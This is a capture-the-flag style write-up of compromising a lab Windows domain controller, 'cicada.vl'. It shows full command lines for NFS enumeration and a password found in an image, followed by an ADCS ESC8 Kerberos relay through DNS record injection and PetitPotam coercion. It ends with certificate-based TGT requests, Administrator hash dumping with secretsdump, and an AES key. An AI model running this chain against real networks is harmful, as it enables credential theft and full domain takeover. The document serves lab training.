Read data files from: /usr/share/nmap
323
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
324
# Nmap done at Sat Sep  6 19:31:11 2025 -- 1 IP address (1 host up) scanned in 180.65 seconds

Analysis of Scan Results#

The Nmap scan revealed this is a Windows Domain Controller with several critical services exposed. The most interesting findings include:

Port 2049 (NFS): Network File System - often misconfigured in enterprise environments
Ports 389/636 (LDAP/LDAPS): Active Directory services
Port 88 (Kerberos): Domain authentication
Port 445 (SMB): File sharing protocol

The SSL certificate revealed the domain name cicada.vl and hostname DC-JPQ225.cicada.vl.

Updating Hosts File#

To properly interact with the Active Directory environment, I added the domain information to my local hosts file:

1
└─$ echo -e "10.129.234.48\tDC-JPQ225.cicada.vl\tcicada.vl\tDC-JPQ225" | sudo tee -a /etc/hosts
2
10.129.234.48  DC-JPQ225.cicada.vl  cicada.vl  DC-JPQ225

This ensures proper name resolution for Kerberos authentication and other domain-specific operations.

NFS Enumeration#

Since I discovered NFS running on port 2049, I decided to enumerate available exports. NFS is often misconfigured and can expose sensitive data:

1
└─$ showmount -e 10.129.234.48
2
Export list for 10.129.234.48:
3
/profiles (everyone)

The /profiles directory was exported with “everyone” permissions which is a significant security misconfiguration.

Since the NFS share was accessible to everyone, I mounted it locally to examine its contents:

1
└─$ sudo mkdir /mnt/profiles && sudo mount -t nfs 10.129.234.48:/profiles /mnt/profiles -o nolock

1
└─$ ls /mnt/profiles
2
Administrator  Daniel.Marshall  Debra.Wright  Jane.Carter  Jordan.Francis  Joyce.Andrews  Katie.Ward  Megan.Simpson  Richard.Gibbons  Rosie.Powell  Shirley.West

I found multiple user profiles, including the high-privilege Administrator account and several standard user accounts.

Enumerating User Profiles#

While exploring the mounted folder, I discovered that the Administrator and Rosie.Powell folders contained image files each: alt text

Discovering Credentials#

I opened both images and found that the image named marketing.png in Rosie.Powell’s folder contained a note with “Cicada123” - which looked like a potential password!

alt text

Credential Validation#

I decided to test if “Cicada123” could be the password for Rosie.Powell using NetExec:

1
nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123

alt text

The results showed that NTLM was disabled on this domain controller. This is actually a security best practice, but it meant I needed to use Kerberos authentication instead by adding the -k flag:

1
nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k

alt text

The authentication was successful, confirming that I had valid domain credentials for the user Rosie.Powell. This gave me my initial foothold in the Active Directory environment.

Now that I had valid credentials, I enumerated the available shares using the Rosie.Powell account and discovered that it had READ access to the CertEnroll share, which is an Active Directory Certificate Services (ADCS) share:

alt text

ADCS environments often contain vulnerabilities that can be exploited for privilege escalation.

Certificate Services Enumeration#

With access to the Certificate Services share, I used Certipy to enumerate enabled and vulnerable certificates using the Rosie.Powell account:

1
certipy-ad find -u "Rosie.Powell@cicada.vl" -p "Cicada123" -k  -dc-ip 10.129.234.48 -dc-host DC-JPQ225.cicada.vl  -ns 10.129.234.48 -enabled -vulnerable -stdout

1
Certipy v5.0.2 - by Oliver Lyak (ly4k)
2

3
[!] KRB5CCNAME environment variable not set
4
[!] Target name (-target) not specified and Kerberos authentication is used. This might fail
5
[*] Finding certificate templates
6
[*] Found 33 certificate templates
7
[*] Finding certificate authorities
8
[*] Found 1 certificate authority
9
[*] Found 11 enabled certificate templates
10
[*] Finding issuance policies
11
[*] Found 13 issuance policies
12
[*] Found 0 OIDs linked to templates
13
[*] Retrieving CA configuration for 'cicada-DC-JPQ225-CA' via RRP
14
[*] Successfully retrieved CA configuration for 'cicada-DC-JPQ225-CA'
15
[*] Checking web enrollment for CA 'cicada-DC-JPQ225-CA' @ 'DC-JPQ225.cicada.vl'
16
[!] Error checking web enrollment: timed out
17
[!] Use -debug to print a stacktrace
18
[*] Enumeration output:
19
Certificate Authorities
20
  0
21
    CA Name                             : cicada-DC-JPQ225-CA
22
    DNS Name                            : DC-JPQ225.cicada.vl
23
    Certificate Subject                 : CN=cicada-DC-JPQ225-CA, DC=cicada, DC=vl
24
    Certificate Serial Number           : 1459CFA9F5752BB6494FFAE4866344A9
25
    Certificate Validity Start          : 2025-09-08 22:25:32+00:00
26
    Certificate Validity End            : 2525-09-08 22:35:32+00:00
27
    Web Enrollment
28
      HTTP
29
        Enabled                         : True
30
      HTTPS
31
        Enabled                         : False
32
    User Specified SAN                  : Disabled
33
    Request Disposition                 : Issue
34
    Enforce Encryption for Requests     : Enabled
35
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
36
    Permissions
37
      Owner                             : CICADA.VL\Administrators
38
      Access Rights
39
        ManageCa                        : CICADA.VL\Administrators
40
                                          CICADA.VL\Domain Admins
41
                                          CICADA.VL\Enterprise Admins
42
        ManageCertificates              : CICADA.VL\Administrators
43
                                          CICADA.VL\Domain Admins
44
                                          CICADA.VL\Enterprise Admins
45
        Enroll                          : CICADA.VL\Authenticated Users
46
    [!] Vulnerabilities
47
      ESC8                              : Web Enrollment is enabled over HTTP.
48
Certificate Templates                   : [!] Could not find any certificate templates

Identifying ESC8 Vulnerability#

I discovered that the Certificate Authority (CA) was vulnerable to ESC8, which is a vulnerability related to ADCS Web Enrollment. According to research from abrictosecurity, ADCS Web Enrollment deploys a web server that enables clients to request certificate templates. This web server supports NTLM authentication, making it susceptible to relay attacks.

Since NTLM was disabled on this domain controller, I needed to look for Kerberos relaying attack possibilities.

Researching Kerberos Relay Attacks I found an interesting article from synacktiv about relaying Kerberos over SMB. This technique would allow me to exploit the ESC8 vulnerability even with NTLM disabled.

Setting up DNS Poisoning#

Following the Synacktiv article, I added a DNS record to prepare for the Kerberos relay attack:

1
└─$ python3 dnstool.py -k -u 'CICADA.VL\\ROSIE.POWELL' -r 'DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' -dns-ip 10.129.202.65  -d 10.10.15.0 --tcp  DC-JPQ225.cicada.vl --action add
2
[-] Connecting to host...
3
[-] Binding to host
4
[+] Bind OK
5
[-] Adding new record
6
[+] LDAP operation completed successfully

This DNS record would redirect traffic to my controlled server, enabling the relay attack.

Setting up Certificate Relay#

Next, I set up a Certipy relay server targeting the HTTP web enrollment service:

1
└─$ certipy-ad relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController
2
Certipy v5.0.2 - by Oliver Lyak (ly4k)
3

4
[*] Targeting http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp (ESC8)
5
[*] Listening on 0.0.0.0:445
6
[*] Setting up SMB Server on port 445

This command set up a relay server that would capture authentication attempts and request a DomainController certificate template.

Triggering Authentication Coercion#

In a separate terminal, I used NetExec with the coerce_plus module to force the domain controller to authenticate to my malicious DNS record:

1
└─$ nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam

alt text

The coercion was successful The PetitPotam method forced the domain controller to authenticate to my controlled server.

Capturing the Domain Controller Certificate#

Back on the Certipy relay terminal, I successfully received the DomainController certificate:

alt text

Now that I have the dc-jpq225.pfx certificate for the Domain Controller, it will allow me to impersonate the DC and dump credentials.

Requesting TGT with Certificate#

With the Domain Controller certificate in hand, I used Certipy’s auth module to request a TGT (Ticket Granting Ticket) that I could use for further operations:

1
└─$ certipy-ad auth -pfx dc-jpq225.pfx -dc-ip 10.129.202.65

alt text

I now have a valid Kerberos ticket cache file (dc-jpq225.ccache) that would allow me to authenticate as the Domain Controller.

Dumping Administrator Credentials#

With the TGT in place, I used Impacket’s secretsdump tool to extract the Administrator’s password hash from the domain controller:

1
KRB5CCNAME=dc-jpq225.ccache impacket-secretsdump -debug -k -no-pass \
2
  'cicada.vl/dc-jpq225$@DC-JPQ225.cicada.vl' \
3
  -just-dc-user administrator

alt text

I successfully dumped the Administrator’s credentials, including both NTLM and AES encryption keys.

Obtaining Administrator TGT#

Using the extracted AES key, I requested a fresh TGT for the Administrator account:

1
└─$ impacket-getTGT -aesKey f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a CICADA.VL/Administrator
2

3
Impacket v0.13.0.dev0+20250801.113918.849c74b7 - Copyright Fortra, LLC and its affiliated companies
4

5
[*] Saving ticket in Administrator.ccache

I have a valid Administrator TGT saved as Administrator.ccache.

Finally, I used Impacket’s psexec tool to obtain a shell on the domain controller with Administrator privileges:

alt text

I achieved complete compromise of the VulnCicada domain controller and got the flags

Nmap Scan#

Analysis of Scan Results#

Updating Hosts File#

NFS Enumeration#

Mounting the NFS Share#

Enumerating User Profiles#

Discovering Credentials#

Credential Validation#

Share Enumeration#

Certificate Services Enumeration#

Identifying ESC8 Vulnerability#

Setting up DNS Poisoning#

Setting up Certificate Relay#

Triggering Authentication Coercion#

Capturing the Domain Controller Certificate#

Requesting TGT with Certificate#

Dumping Administrator Credentials#

Obtaining Administrator TGT#